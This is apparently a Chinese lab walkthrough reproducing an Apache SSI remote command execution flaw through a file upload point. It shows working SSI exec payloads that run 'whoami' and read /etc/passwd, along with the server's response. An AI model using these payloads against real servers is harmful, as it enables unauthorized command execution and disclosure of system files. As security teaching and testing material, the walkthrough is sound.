Apache SSI远程命令执行漏洞复现
SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。
例如,您可以将指令放置到现有的HTML页面中,例如:
<!--#echo var="DATE_LOCAL" -->
并且,当该页面被投放时,该片段将被评估并替换为其值:
Tuesday, 15-Jan-2013 19:28:54 EST
这边是来到了一个上传点,我先上传一个php
文件看看能不能上传:
Unsupported filetype uploaded.
很明显,不能上传php
!
那么我们就可以用SSI
的特性来上传一个shtml
文件
其中内容是:
<!--#exec cmd="whoami" -->
然后我们打开刚刚上传的cmd.stml
:
Response
返回:
HTTP/1.1 200 OK
Date: Wed, 16 Oct 2019 11:53:49 GMT
Server: Apache/2.4.25 (Debian)
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 9
Connection: close
Content-Type: text/html
www-data
<!--#exec cmd="cat /etc/passwd" -->